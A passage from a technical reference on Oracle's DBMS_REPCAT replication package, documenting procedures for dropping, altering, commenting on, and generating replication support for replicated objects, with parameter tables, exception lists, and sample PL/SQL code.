    DBMS_REPCAT.SET_COLUMNS(sname		=> 'SPROCKET',
                oname		=> 'PRODUCTS',
                 column_list	=> 'COLOR,MODEL,YEAR');
END;

15.3.3.3 The DBMS_REPCAT.DROP_MASTER_REPOBJECT procedure

The DROP_MASTER_REPOBJECT procedure drops a replicated object at the master site. The specification follows:

PROCEDURE DBMS_REPOBJECT.DROP_MASTER_REPOBJECT
  (sname IN VARCHAR2,
   oname IN VARCHAR2,
   type IN VARCHAR2,
   drop_objects IN BOOLEAN := FALSE);

Parameters are summarized in the following table.

Name | Description
sname | Name of the schema to which oname belongs.
oname | Name of the object to be added.
type | Object type. Valid types: TABLE, INDEX, SYNONYM, TRIGGER, VIEW, PROCEDURE, FUNCTION, PACKAGE, and PACKAGE BODY.
drop_objects | If TRUE, drop the object at all master sites; default is FALSE.

15.3.3.3.1 Exceptions

The DROP_MASTER_REPOBJECT procedure may raise the following exceptions:

Name | Number | Description
commfailure | -23317 | Not all master sites are reachable
missingobject | -23308 | Object oname does not exist
nonmasterdef | -23373 | Calling site is not the master definition site for replication group gname
typefailure | -23319 | The type is not supported

15.3.3.3.2 Restrictions

Note the following restrictions on calling DROP_MASTER_REPOBJECT:

  • This procedure must be called from the master definition site.

  • The replication group must already exist and be quiesced.

15.3.3.3.3 Examples

The following call removes table SPROCKET.PRODUCTS from the SPROCKET replication group, but preserves the table:

    BEGIN
        DBMS_REPCAT.DROP_MASTER_REPOBJECT(
                    sname 		=> 'SPROCKET',
                    oname		=> 'PRODUCTS',
                    type		=> 'TABLE');
    END;

Dropping a table from a replication group automatically drops all replication triggers associated with the table and removes it from the replication data dictionary views.

The DROP_MASTER_REPOBJECT procedure can remove the object from the replication group, and also drop the object from the schema by setting the drop_objects parameter to TRUE, as shown in this example:

BEGIN
    DBMS_REPCAT.DROP_MASTER_REPOBJECT(
                sname 			=> 'SPROCKET',
                oname			=> 'PRODUCTS',
                type			=> 'TABLE',
                drop_objects		=>  TRUE);
END;

15.3.3.4 The DBMS_REPCAT.EXECUTE_DDL procedure

DBMS_REPCAT.CREATE_MASTER_REPOBJECT and DBMS_REPCAT.DROP_MASTER_REPOBJECT do not support every type of object. For example, you cannot use these procedures to drop and create constraints. Enter DBMS_REPCAT's EXECUTE_DDL procedure.

The EXECUTE_DDL procedure allows you to perform DDL at multiple sites. The specification follows:

PROCEDURE DBMS_REPCAT.EXECUTE_DDL
   (gname        IN VARCHAR2 := '',
    {master_list IN VARCHAR2 := NULL, |
    master_table IN dbms_utility.dblink_array,}
    ddl_text     IN VARCHAR2,
    sname        IN VARCHAR2 := '');

Parameters are summarized in the following table.

Name | Description
gname | Name of the replicated object group.
master_list | Comma-separated string of master site global names at which DDL is to be performed. If NULL (the default), DDL is applied at all master sites in the replication group. Use either parameter master_list or master_table.
master_table | PL/SQL table of master site global names at which DDL is to be performed. Use either parameter master_list or master_table.
ddl_text | DDL statement to apply.
sname | Not used.

15.3.3.4.1 Exceptions

The EXECUTE_DDL procedure may raise the following exceptions:

Name | Number | Description
commfailure | -23317 | Unable to communicate with master site
ddlfailure | -23318 | Unable to perform DDL
nonmaster | -23312 | At least one site in master_list or master_table is not a master site
nonmasterdef | -23312 | Calling site is not a master definition site

15.3.3.4.2 Restrictions

Note the following restrictions on calling EXECUTE_DDL:

  • This procedure must be called from the master definition site.

  • The replication group must already exist.

NOTE: The environment does not have to be quiesced.

15.3.3.4.3 Example

This example creates an index on the SPROCKET.STATES table at sites D7CA.BIGWHEEL.COM and D7NY.BIGWHEEL.COM. Note that as in the example of CREATE_MASTER_REPOBJECT, we must specify the schema in which to create the index.

DECLARE vMasters VARCHAR2(30);
BEGIN
    vMasters := 'D7CA.BIGWHEEL.COM,D7NY.BIGWHEEL.COM';
    DBMS_REPCAT.EXECUTE_DDL(
        gname			=> 'SPROCKET',
        master_list		=> vMasters,
        ddl_text		=>'CREATE INDEX sprocket.i_state_id ON
           sprocket.tstates(state_id)',
        sname			=>'SPROCKET');
END;

15.3.3.5 The DBMS_REPCAT.ALTER_MASTER_REPOBJECT procedure

Just as you can propagate DDL to create objects with the EXECUTE_DDL procedure, you can also propagate DDL to alter objects with DBMS_REPCAT.ALTER_MASTER_REPOBJECT. Unlike EXECUTE_DDL, ALTER_MASTER_REPOBJECT does not allow you to specify a list of master sites; the call affects all masters. In other words, Oracle does not support site-specific customizations of replicated objects. The specification follows:

PROCEDURE DBMS_REPCAT.ALTER_MASTER_REPOBJECT
   (sname IN VARCHAR2,
    oname IN VARCHAR2,
    type IN VARCHAR2,
    ddl_text IN VARCHAR2,
    comment IN VARCHAR2 := '',
    retry IN BOOLEAN := FALSE);

Parameters are summarized in the following table.

Name | Description
sname | Name of the schema to which object oname belongs.
oname | Name of the object to alter.
type | The oname object type. Supported types: FUNCTION, INDEX, PACKAGE, PACKAGE BODY, SYNONYM, TABLE, TRIGGER, and VIEW.
ddl_text | Text of DDL statement to apply.
comment | Comment visible in DBA_REPOBJECT data dictionary view.
retry | If set to TRUE, procedure alters only objects whose status is not VALID at master sites.

15.3.3.5.1 Exceptions

The ALTER_MASTER_REPOBJECT procedure may raise the following exceptions:

Name | Number | Description
commfailure | -23317 | Unable to communicate with one or more master site(s)
ddlfailure | -23318 | DDL at master definition site failed
missingobject | -23308 | Object oname does not exist
nonmasterdef | -23312 | Calling site is not the master definition site
notquiesced | -23310 | Replication group gname is not quiesced
typefailure | -23319 | DDL on objects of type type is not supported

15.3.3.5.2 Restrictions

Note the following restrictions on calling ALTER_MASTER_REPOBJECT:

  • This procedure must be run from the master definition site.

  • The replication group must be quiesced.

  • You must call DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT for the altered object before resuming replication.

15.3.3.5.3 Example

If you set the retry parameter to TRUE, ALTER_MASTER_REPOBJECT applies the DDL only at sites where the object has a status of INVALID in the DBA_OBJECTS data dictionary view.

BEGIN
DBMS_REPCAT.ALTER_MASTER_REPOBJECT(
        sname		=> 'SPROCKET',
        oname		=> 'PRODUCTMAINT',
        type		=> 'PACKAGE BODY'
        ddl_text	=> 'ALTER PACKAGE SPROCKET.PRODUCTMAINT COMPILE BODY',
        comment		=> 'Recompiled on '||sysdate|| ' by '||user,
        retry		=> TRUE );
END;

Notice that we specify the schema for the object that we are altering. As with DBMS_REPCAT.EXECUTE_DDL, the ALTER_MASTER_REPOBJECT procedure operates on objects in the caller's schema by default, and the caller is generally the replication administrator account, not the schema account.

This example alters the width of the state_id column in table SPROCKET.STATES at all sites:

BEGIN
DBMS_REPCAT.ALTER_MASTER_REPOBJECT(
        sname		=> 'SPROCKET',
        oname		=> 'PRODUCTMAINT',
        type		=> 'PACKAGE BODY'
        ddl_text	=> 'ALTER TABLE SPROCKET.STATES MODIFY
             (STATE_ID NUMBER(10))' ,
        comment		=> 'state_id widened on '||sysdate|| ' by '||user);
END;

15.3.3.6 The DBMS_REPCAT.COMMENT_ON_REPOBJECT procedure

As you have seen in the previous examples, you can associate comments with a replicated object when you create or alter it by passing a VARCHAR2 string to the comment parameter. You can see these comments in the object_comment field of DBA_REPOBJECTS.

You can also create comments without creating or altering the object with DBMS_REPCAT's COMMENT_ON_REPOBJECT procedure. The specification follows:

PROCEDURE DBMS_REPCAT.COMMENT_ON_REPOBJECT
   (sname IN VARCHAR2,
    oname IN VARCHAR2,
    type IN VARCHAR2,
    comment IN VARCHAR2);

Parameters are summarized in the following table.

Name | Description
sname | Name of schema to which object belongs
oname | Name of the object
type | Object type
comment | Comment

15.3.3.6.1 Exceptions

The COMMENT_ON_REPOBJECT procedure may raise the following exceptions:

Name | Number | Description
commfailure | -23317 | Unable to communicate with one or more master sites
missingobject | -23308 | Object oname does not exist
nonmasterdef | -23312 | Calling site is not master definition site
typefailure | -23319 | Object type is not supported

15.3.3.6.2 Restrictions

The COMMENT_ON_REPOBJECT procedure must be called from the master definition site.

15.3.3.6.3 Example

The following call updates the comment for replicated table SPROCKET.PRICES:

BEGIN
    DBMS_REPCAT.COMMENT_ON_REPOBJECT(
            sname		=>	'SPROCKET', -
            oname 		=>	'PRICES', -
            type		=>	'TABLE', -
            comment		=>	'Headquarters updates this table once a month.');
END;

15.3.4 Replication Support with DBMS_REPCAT

The next step in the creation of a replicated environment is to generate replication support for your replicated tables, packages, and package bodies. In the case of replicated tables, this step creates a BEFORE ROW trigger, called tablename$RT, and three packages:

tablename$RP
tablename$RR
tablename$TP

This code propagates DML to remote sites, and applies DML on behalf of remote sites. We'll examine this code in the examples of these procedures:

DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT
DBMS_REPCAT.GENERATE_REPLICATION_PACKAGE
DBMS_REPCAT.GENERATE_REPLICATION_TRIGGER

15.3.4.1 The DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT procedure

The GENERATE_REPLICATION_SUPPORT procedure generates support for replicated tables, packages, and package bodies. The specifications differ for Oracle7 and Oracle8 as follows.

Here is the Oracle7 specification:

PROCEDURE DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT
   (sname            IN VARCHAR2,
    oname            IN VARCHAR2,
    type             IN VARCHAR2,
    package_prefix   IN VARCHAR2 := NULL,
    procedure_prefix IN VARCHAR2 := NULL,
    distributed      IN BOOLEAN  := TRUE,
    gen_objs_owner   IN VARCHAR2 := NULL,
    gen_rep2_trigger IN BOOLEAN := FALSE);

Here is the Oracle8 specification:

PROCEDURE DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT
   (sname             IN VARCHAR2,
    oname             IN VARCHAR2,
    type              IN VARCHAR2,
    package_prefix    IN VARCHAR2 := NULL,
    procedure_prefix  IN VARCHAR2 := NULL,
    distributed       IN BOOLEAN  := TRUE,
    gen_objs_owner    IN VARCHAR2 := NULL,
    min_communication IN BOOLEAN := TRUE);

Parameters are summarized in the following table.

Name | Description
sname | Name of the schema to which table oname belongs.
oname | Name of table for which package is being generated.
type | Object type. Supported types: TABLE, PROCEDURE, PACKAGE, and PACKAGE BODY.
package_prefix | Prefix used to name generated wrapper package for packages and package bodies.
procedure_prefix | Prefix used to name generated wrapper package for procedures.
distributed | If TRUE (the default), generate replication support for the object at each master; if FALSE, copy the reapplication support objects generated at the master definition site.
gen_objs_owner | Specifies schema in which to generate replication support objects; if NULL (the default), objects are generated under schema sname.
gen_rep2_trigger (Oracle7 only) | Provided for backward compatibility; if any masters are pre-7.3 releases, this must be set to TRUE. The default is FALSE.
min_communication (Oracle8 only) | If TRUE (the default), Oracle propagates changes with the minimum communication parameter, which avoids sending the old and new column values of unmodified fields.

15.3.4.1.1 Exceptions

The GENERATE_REPLICATION_SUPPORT procedure may raise the following exceptions:

Name | Number | Description
commfailure | -23317 | Unable to communicate with all masters
dbnotcompatible | -23375 | One or more masters is a pre-7.3 release
missingobject | -23308 | Table oname does not exist in schema sname
missingschema | -23306 | Schema sname does not exist
nonmasterdef | -23312 | Calling site is not a master definition site
notquiesced | -23310 | Replication group to which object belongs is not quiesced
typefailure | -23319 | Specified type is not a supported type

15.3.4.1.2 Restrictions

Note the following restrictions on calling GENERATE_REPLICATION_SUPPORT:

  • You must call this procedure from the master definition site for each object in the replication group.

  • The replication group must be quiesced.

  • If the object is not owned by the replication administrator account, the owner must have explicit EXECUTE privileges on the DBMS_DEFER package (described in Chapter 17).

  • If the INIT.ORA parameter COMPATIBLE is 7.3 or higher, the distributed parameter must be set to TRUE.

  • If the INIT.ORA parameter COMPATIBLE is less than 7.3 in any snapshot sites, the gen_rep2_trigger parameter must be set to TRUE, and the COMPATIBLE parameter at the master definition site must be set to 7.3.0.0 or greater.

15.3.4.1.3 Example

Suppose that we have a table SPROCKET.REON defined as follows:

Field Name | Nullable? | Datatype
region_id | NOT NULL | NUMBER(6)
region_name | NOT NULL | VARCHAR2(15)

Assuming that we have already added this table to the SPROCKET replication group, here is how we would generate replication support for it:

BEGIN
EXECUTE dbms_repcat.generate_replication_support( -
        sname => 'SPROCKET',	-
        oname => 'REGION',	-
        type => 'TABLE', 	-
        distributed => TRUE,	-
        gen_objs_owner=> 'SPROCKET',	-
        gen_rep2_trigger=> FALSE);
END;

This call creates a trigger and three packages, as described in the following table. Oracle immediately creates these objects at the master definition site, as well as the participating master sites.

Object Name | Object Type | Description
REGION$RT | BEFORE ROW Trigger | Invokes procedure REGION$TP.REPLICATE.
REGION$RR | Package + Body | Invokes conflict resolution handler. REGIONS$RP invokes this procedure only in the event of a conflict.
REGION$RP | Package + Body | Applies DML that originated at a remote site.
REGION$TP | Package + Body | Determines whether DML originates locally, and if so, queues as an RPC call the REGION$RP procedure corresponding to the type of DML (insert, update, or delete). Oracle propagates this RPC call to all master sites.

In the next sections, we examine what Oracle creates for us when we generate replication support for this table.

15.3.4.1.4 The replication support trigger

The following example shows the text of the REGION$RT trigger that the GENERATE_REPLICATION_SUPPORT call generates:

declare
  flag char;
begin
  if "REGION$TP".active then
    if inserting then
      flag := 'I';
    elsif updating then
      flag := 'U';
    elsif deleting then
      flag := 'D';
    end if;
    "REGION$TP".replicate(
      :old."REGION_ID",:new."REGION_ID",
      :old."REGION_NAME",:new."REGION_NAME",
      flag);
  end if;
end;

As you can see, this BEFORE ROW trigger simply sets a flag to indicate the type of DML being performed: "I" for inserts, "U" for updates, and "D" for deletes. It then passes this flag, along with the new and old values of each field, to the REGIONS$TP.REPLICATE procedure.

15.3.4.1.5 The replication support packages

The replication package REGION$TP invokes DBMS_SNAPSHOT.I_AM_A_REFRESH (see the description of this procedure in Chapter 14) to determine if the DML that fired the REGION$RT trigger originated locally, or if it is DML that another site has propagated. If the DML originated locally, then the REGION$TP builds a deferred call -- one of the REGION$RP procedures (REP_UPDATE, REP_INSERT, or REP_DELETE), as appropriate. Oracle queues this deferred call to all master sites. Here is the Oracle-generated code:

package body		"REGION$TP" as
  I_am_a_snapshot CHAR;
  is_snapshot BOOLEAN;
  function active return boolean
  is
  begin
    return (not((is_snapshot and dbms_snapshot.I_am_a_refresh) or
        not dbms_reputil.replication_is_on));
  end active;
  procedure replicate(
    "REGION_ID1_o" IN NUMBER,
    "REGION_ID1_n" IN NUMBER,
    "REGION_NAME2_o" IN VARCHAR2,
    "REGION_NAME2_n" IN VARCHAR2,
    flag IN CHAR)
  is
  begin
    if flag = 'U' then
      dbms_defer.call('SPROCKET','REGION$RP','REP_UPDATE',6,'SPROCKET');
      dbms_defer.number_arg("REGION_ID1_o");
      dbms_defer.number_arg("REGION_ID1_n");
      dbms_defer.varchar2_arg("REGION_NAME2_o");
      dbms_defer.varchar2_arg("REGION_NAME2_n");
    elsif flag = 'I' then
      dbms_defer.call('SPROCKET','REGION$RP','REP_INSERT',4,'SPROCKET');
      dbms_defer.number_arg("REGION_ID1_n");
      dbms_defer.varchar2_arg("REGION_NAME2_n");
    elsif flag = 'D' then
      dbms_defer.call('SPROCKET','REGION$RP','REP_DELETE',4,'SPROCKET');
      dbms_defer.number_arg("REGION_ID1_o");
      dbms_defer.varchar2_arg("REGION_NAME2_o");
    end if;
    dbms_defer.varchar2_arg(dbms_reputil.global_name);
    dbms_defer.char_arg(I_am_a_snapshot);
  end replicate;
begin
  select decode(master, 'N', 'Y', 'N')
    into I_am_a_snapshot
    from all_repcat where gname = 'SPROCKET';
  is_snapshot := (I_am_a_snapshot = 'Y');
end "REGION$TP";

Notice that Oracle passes the old and new values of each column in the table to the REGION$RP procedure. Oracle uses these values to confirm that the version of the row at the originating site is the same as the version of the row at the destination sites. If the old column values at the originating site do not match the current column values at the destination site, then Oracle detects a conflict and invokes the appropriate conflict resolution method.

You can see this logic in the package body of REGION$RP:

package body		"REGION$RP" as
  procedure rep_delete(
    "REGION_ID1_o" IN NUMBER,
    "REGION_NAME2_o" IN VARCHAR2,
    site_name IN VARCHAR2,
    propagation_flag IN CHAR) is
  begin
    if propagation_flag = 'N' then
      dbms_reputil.replication_off;
    end if;
    dbms_reputil.rep_begin;
    dbms_reputil.global_name := site_name;
    delete from "REGION"
    where ("REGION_ID1_o" = "REGION_ID"
    and   "REGION_NAME2_o" = "REGION_NAME");
    if sql%rowcount = 0 then
      raise no_data_found;
    elsif sql%rowcount > 1 then
      raise too_many_rows;
    end if;
    dbms_reputil.rep_end;
  exception
    when no_data_found then
      begin
    if not "REGION$RR".delete_conflict_handler(
      "REGION_ID1_o",
      "REGION_NAME2_o",
      site_name,
      propagation_flag) then
      dbms_reputil.rep_end;
      raise;
    end if;
    dbms_reputil.rep_end;
      exception
    when others then
      dbms_reputil.rep_end;
      raise;
      end;
    when others then
      dbms_reputil.rep_end;
      raise;
  end rep_delete;
  procedure rep_insert(
    "REGION_ID1_n" IN NUMBER,
    "REGION_NAME2_n" IN VARCHAR2,
    site_name IN VARCHAR2,
    propagation_flag IN CHAR) is
  begin
    if propagation_flag = 'N' then
      dbms_reputil.replication_off;
    end if;
    dbms_reputil.rep_begin;
    dbms_reputil.global_name := site_name;
    insert into "REGION" (
      "REGION_ID",
      "REGION_NAME")
    values (
      "REGION_ID1_n",
      "REGION_NAME2_n");
    dbms_reputil.rep_end;
  exception
    when dup_val_on_index then
      begin
    if not "REGION$RR".unique_conflict_insert_handler(
      "REGION_ID1_n",
      "REGION_NAME2_n",
      site_name,
      propagation_flag,
      SQLERRM) then
      dbms_reputil.rep_end;
      raise;
    end if;
    dbms_reputil.rep_end;
      exception
    when others then
      dbms_reputil.rep_end;
      raise;
      end;
    when others then
      dbms_reputil.rep_end;
      raise;
  end rep_insert;
  procedure rep_update(
    "REGION_ID1_o" IN NUMBER,
    "REGION_ID1_n" IN NUMBER,
    "REGION_NAME2_o" IN VARCHAR2,
    "REGION_NAME2_n" IN VARCHAR2,
    site_name IN VARCHAR2,
    propagation_flag IN CHAR) is
  begin
    if propagation_flag = 'N' then
      dbms_reputil.replication_off;
    end if;
    dbms_reputil.rep_begin;
    dbms_reputil.global_name := site_name;
    update "REGION" set
      "REGION_ID" = "REGION_ID1_n",
      "REGION_NAME" =
    decode("REGION_NAME2_o",
           "REGION_NAME2_n", "REGION_NAME",
           "REGION_NAME2_n")
    where (((1 = 1 and
        "REGION_NAME2_o" = "REGION_NAME2_n")) or
       (1 = 1 and
        "REGION_NAME2_o" = "REGION_NAME"))
      and "REGION_ID1_o" = "REGION_ID";
    if sql%rowcount = 0 then
      raise no_data_found;
    elsif sql%rowcount > 1 then
      raise too_many_rows;
    end if;
    dbms_reputil.rep_end;
  exception
    when no_data_found then
      begin
    if not "REGION$RR".update_conflict_handler(
      "REGION_ID1_o",
      "REGION_ID1_n",
      "REGION_NAME2_o",
      "REGION_NAME2_n",
      site_name,
      propagation_flag) then
      dbms_reputil.rep_end;
      raise;
    end if;
    dbms_reputil.rep_end;
      exception
    when others then
      dbms_reputil.rep_end;
      raise;
      end;
    when dup_val_on_index then
      begin
    if not "REGION$RR".unique_conflict_update_handler(
      "REGION_ID1_o",
      "REGION_ID1_n",
      "REGION_NAME2_o",
      "REGION_NAME2_n",
      site_name,
      propagation_flag,
      SQLERRM) then
      dbms_reputil.rep_end;
      raise;
    end if;
    dbms_reputil.rep_end;
      exception
    when others then
      dbms_reputil.rep_end;
      raise;
      end;
    when others then
      dbms_reputil.rep_end;
      raise;
  end rep_update;
end "REGION$RP";

As you can see, Oracle invokes REGION$RR, the conflict resolution package:

package body		"REGION$RR" as
  function unique_conflict_insert_handler(
    "REGION_ID1_n" IN NUMBER,
    "REGION_NAME2_n" IN VARCHAR2,
    site_name IN VARCHAR2,
    propagation_flag IN CHAR,
    errmsg IN VARCHAR2) return boolean is
  begin
    return FALSE;
  end unique_conflict_insert_handler;

  function delete_conflict_handler(
    "REGION_ID1_o" IN NUMBER,
    "REGION_NAME2_o" IN VARCHAR2,
    site_name IN VARCHAR2,
    propagation_flag IN CHAR) return boolean is
  begin
    return FALSE;
  end delete_conflict_handler;

  function update_conflict_handler(
    "REGION_ID1_o" IN NUMBER,
    "REGION_ID1_n" IN NUMBER,
    "REGION_NAME2_o" IN VARCHAR2,
    "REGION_NAME2_n" IN VARCHAR2,
    site_name IN VARCHAR2,
    propagation_flag IN CHAR) return boolean is
  begin
    return FALSE;
  end update_conflict_handler;

  function unique_conflict_update_handler(
    "REGION_ID1_o" IN NUMBER,
    "REGION_ID1_n" IN NUMBER,
    "REGION_NAME2_o" IN VARCHAR2,
    "REGION_NAME2_n" IN VARCHAR2,
    site_name IN VARCHAR2,
    propagation_flag IN CHAR,
    errmsg IN VARCHAR2) return boolean is
  begin
    return FALSE;
  end unique_conflict_update_handler;
end "REGION$RR";

This is the default conflict handling package that GENERATE_REPLICATION_SUPPORT creates. Since no conflict resolution methods are defined for REGION, the unique_conflict_insert_handler, delete_conflict_handler, update_conflict_handler, and unique_conflict_update_handler programs all return FALSE, indicating that they cannot resolve the conflict. Chapter 17 contains details about how to define conflict resolution handlers.

15.3.4.1.6 Generating replication support for packages and procedures

As well as tables, you can also replicate procedures and packages. When you call a replicated procedure, Oracle builds a deferred RPC that it propagates to all master sites. This deferred RPC invokes the same procedure with the same arguments as the originating call. Oracle recommends procedural replication for situations that call for massive updates to tables (i.e., updates affecting tens of thousands of rows). Procedural replication duplicates the procedure call only, which is more efficient and network-friendly than row-level replication. (Row-level replication sends the old and new column values for every field of every row.)

Just as we made two calls to CREATE_MASTER_REPOBJECT to create a replicated package, we must also make two calls to GENERATE_REPLICATION_SUPPORT:

    BEGIN
        DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT(
            sname		=> 'SPROCKET',
            oname		=> 'PRODUCTMAINT',
            type		=> 'PACKAGE',
            distributed	=> TRUE,
            gen_objs_owner	=> 'SPROCKET',
            gen_rep2_trigger=> FALSE);

        DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT(
            sname		=> 'SPROCKET',
            oname		=> 'PRODUCTMAINT',
            type		=> 'PACKAGE BODY',
            distributed	=> TRUE,
            gen_objs_owner	=> 'SPROCKET',
            gen_rep2_trigger=> FALSE);
    END;

These two calls create a "wrapper" package and package body, named DEFER_PRODUCTMAINT. This package uses DBMS_DEFER.CALL (described in Chapter 17) to build RPCs to PRODUCTMAINT. To replicate a call to procedure ADDPRODUCT, we would call DEFER_PRODUCTMAINT.ADDPRODUCT.

package "DEFER_PRODUCTMAINT" as
  I_am_a_snapshot CHAR;
  procedure "ADDPRODUCT"(
    "PRODUCT_TYPE_IN" IN number,
    "CATALOG_ID_IN" IN varchar2,
    "DESCRIPTION_IN" IN varchar2,
    "REV_LEVEL_IN" IN varchar2,
    "PRODUCTION_DATE_IN" IN date,
    "PRODUCT_STATUS_IN" IN varchar2,
    call_local IN char := 'N',
    call_remote IN char := 'Y');
end "DEFER_PRODUCTMAINT";

package body "DEFER_PRODUCTMAINT" as
  procedure "ADDPRODUCT"(
    "PRODUCT_TYPE_IN" IN NUMBER,
    "CATALOG_ID_IN" IN VARCHAR2,
    "DESCRIPTION_IN" IN VARCHAR2,
    "REV_LEVEL_IN" IN VARCHAR2,
    "PRODUCTION_DATE_IN" IN DATE,
    "PRODUCT_STATUS_IN" IN VARCHAR2,
    call_local IN char := 'N',
    call_remote IN char := 'Y') is
  begin
    select decode(master, 'N', 'Y', 'N')
      into I_am_a_snapshot
      from all_repcat where gname = 'SPROCKET';
    if call_local = 'Y' then
      "SPROCKET"."PRODUCTMAINT"."ADDPRODUCT"(
    "PRODUCT_TYPE_IN",
    "CATALOG_ID_IN",
    "DESCRIPTION_IN",
    "REV_LEVEL_IN",
    "PRODUCTION_DATE_IN",
    "PRODUCT_STATUS_IN");
    end if;
    if call_remote = 'Y' then
    8, 'SPROCKET');
      dbms_defer.number_arg("PRODUCT_TYPE_IN");
      dbms_defer.varchar2_arg("CATALOG_ID_IN");
      dbms_defer.varchar2_arg("DESCRIPTION_IN");
      dbms_defer.varchar2_arg("REV_LEVEL_IN");
      dbms_defer.date_arg("PRODUCTION_DATE_IN");
      dbms_defer.varchar2_arg("PRODUCT_STATUS_IN");
      dbms_defer.char_arg('Y');
      dbms_defer.char_arg(I_am_a_snapshot);
    end if;
  end "ADDPRODUCT";
begin
  select decode(master, 'N', 'Y', 'N')
    into I_am_a_snapshot
    from all_repcat where gname = 'SPROCKET';
end "DEFER_PRODUCTMAINT";

15.3.4.2 The DBMS_REPCAT.GENERATE_REPLICATION_PACKAGE procedure

In some situations, you may wish to generate only replication support triggers or replication support packages. For example, if you use DBMS_REPCAT's ALTER_MASTER_PROPAGATION procedure to change from synchronous to asynchronous replication, you will have to recreate replication triggers. The GENERATE_REPLICATION_PACKAGE and GENERATE_REPLICATION_TRIGGERS procedures provide this functionality.

The GENERATE_REPLICATION_PACKAGE procedure allows you to generate replication support packages. The specification follows:

PROCEDURE DBMS_REPCAT.GENERATE_REPLICATION_PACKAGE
   (sname IN VARCHAR2,
    oname IN VARCHAR2);

Parameters are summarized in the following table.

Name | Description
sname | Name of the schema to which table oname belongs
oname | Name of table for which package is being generated

15.3.4.2.1 Exceptions

The GENERATE_REPLICATON_PACKAGE procedure may raise the following exceptions:

Name | Number | Description
commfailure | -23317 | Unable to communicate with all masters
dbnotcompatible | -23375 | One or more masters is a pre-7.3 release
missingobject | -23308 | Table oname does not exist in schema sname
nonmasterdef | -23312 | Calling site is not a master definition site
notquiesced | -23310 | Replication group to which object belongs is not quiesced

15.3.4.2.2 Restrictions

Note the following restrictions on calling GENERATE_REPLICATION_PACKAGE:

  • You must call this procedure from the master definition site.

  • The replication group must be quiesced.

  • The Oracle version must be 7.3 or later.

15.3.4.2.3 Example

The following call generates the replication support packages for table SPROCKET.PRODUCTS in all master sites:

    BEGIN
        DBMS_REPCAT.GENERATE_REPLICATION_PACKAGE(
            sname	=> 'SPROCKET',
            oname 	=> 'PRODUCTS');
    END;

15.3.4.3 The DBMS_REPCAT.GENERATE_REPLICATION_TRIGGER procedure

The GENERATE_REPLICATION_TRIGGER procedure allows you to generate replication support triggers. The specifications differ for Oracle7 and Oracle8 as follows.

Here is the Oracle7 specification:

PROCEDURE DBMS_REPCAT.GENERATE_REPLICATION_TRIGGER
   (sname IN VARCHAR2,
    oname IN VARCHAR2,
    gen_objs_owner IN VARCHAR2 := NULL,
    gen_rep2_trigger IN BOOLEAN := FALSE);

PROCEDURE DBMS_REPCAT.GENERATE_REPLICATION_TRIGGER
   (gname IN VARCHAR2,
   {master_list IN VARCHAR2 := NULL
   | master_table IN dbms_utility.dblink_array},
    gen_objs_owner IN VARCHAR2 := NULL);

Here is the Oracle8 specification:

PROCEDURE DBMS_REPCAT.GENERATE_REPLICATION_TRIGGER
   (sname IN VARCHAR2,
    oname IN VARCHAR2,
    gen_objs_owner IN VARCHAR2 := NULL,
    min_communication IN BOOLEAN  := TRUE);

PROCEDURE DBMS_REPCAT.GENERATE_REPLICATION_TRIGGER
   (gname IN VARCHAR2,
    gen_objs_owner IN VARCHAR2 := NULL,
    min_communication IN BOOLEAN := NULL);

Parameters are summarized in the following table.

Name | Description
sname | Name of the schema to which table oname belongs.
oname | Name of object for which support objects are being generated.
gen_rep2_trigger (Oracle7 only) | Provided for backward compatibility; if any master sites are pre-7.3 releases, this parameter must be set to TRUE (default is FALSE).
gname | The replication group to which oname belongs.
master_list | Comma-delimited string of global names for masters in which support objects are to be generated.
master_table | PL/SQL table of global names for masters in which support objects are to be generated.
gen_objs_owner | Specifies schema in which to generate replication support objects; if NULL (the default), objects are generated under schema in which they currently reside.
min_communication (Oracle8 only) | If TRUE (the default) the generated trigger sends the new value of a column only if the value has changed. Old field values are sent only if the field is part of the primary key, or part of a column group for which member columns have changed.

15.3.4.3.1 Exceptions

The GENERATE_REPLICATION_TRIGGER procedure may raise the following exceptions:

Name | Number | Description
commfailure | -23317 | Unable to communicate with all masters
dbnotcompatible | -23375 | One or more masters is a pre-7.3 release and gen_rep2_trigger is not set to TRUE
missingobject | -23308 | Table oname does not exist in schema sname
missingschema | -23306 | Schema sname does not exist
nonmasterdef | -23312 | Calling site is not a master definition site
notquiesced | -23310 | Replication group to which object belongs is not quiesced

15.3.4.3.2 Restrictions

Note the following restrictions on calling GENERATE_REPLICATION_TRIGGER:

  • You must call this procedure from the master definition site.

  • The replication group must be quiesced.

  • The GENERATE_REPLICATION_SUPPORT or GENERATE_PACKAGE_SUPPORT must previously have been called for the object specified in the oname parameter.

15.3.4.3.3 Examples

The simplest invocation of the GENERATE_REPLICATION_TRIGGER procedure does the most work; this call generates replication triggers for all replicated tables at all master sites:

    BEGIN
        DBMS_REPCAT.GENERATE_REPLICATION_TRIGGER(gname=> 'SPROCKET' );
    END;

This next example generates replication triggers for the replicated table SPROCKET.PRODUCTS at all master sites:

    BEGIN
        DBMS_REPCAT.GENERATE_REPLICATION_TRIGGER(
            gname    => 'SPROCKET',
            oname    => 'PRODUCTS' );
    END;

The following call generates replication triggers for all replicated tables in the SPROCKET replication group at the master sites D7HI.BIGWHEEL.COM and D7WA.BIGWHEEL.COM:

    BEGIN
        DBMS_REPCAT.GENERATE_REPLICATION_TRIGGER(
            gname    => 'SPROCKET',
            master_list=> 'D7HI.BIGWHEEL.COM, D7WA.BIGWHEEL.COM' );
    END;

The following call regenerates the replication support for all objects in replication group SPROCKET at all master sites:

EXECUTE DBMS_REPCAT.GENERATE_REPLICATION_TRIGGER(gname=> 'SPROCKET' )

For an additional example, see the invalids.sql file on the companion disk. The example lists all objects in the database with a status of INVALID and generates the appropriate SQL statements to attempt to validate them.

15.3.5 Adding and Removing Master Sites with DBMS_REPCAT

Now you have generated replication support for those objects you intend to replicate, and you are ready to add master sites to your environment. In advanced replication parlance, a master site is a database instance where replicated objects and their replication support triggers and packages exist. Master sites are sometimes called peers, because every master site has the same objects and identical (or nearly identical) data. Any master site can perform DML on a replicated table, and Oracle propagates the DML to all other master sites. There is no single authoritative site, not even the master definition site. The distinction between the master definition site and the other masters is that the master definition site is the only site that can perform DDL on replicated objects, and the only one that can suspend or resume replication activity.

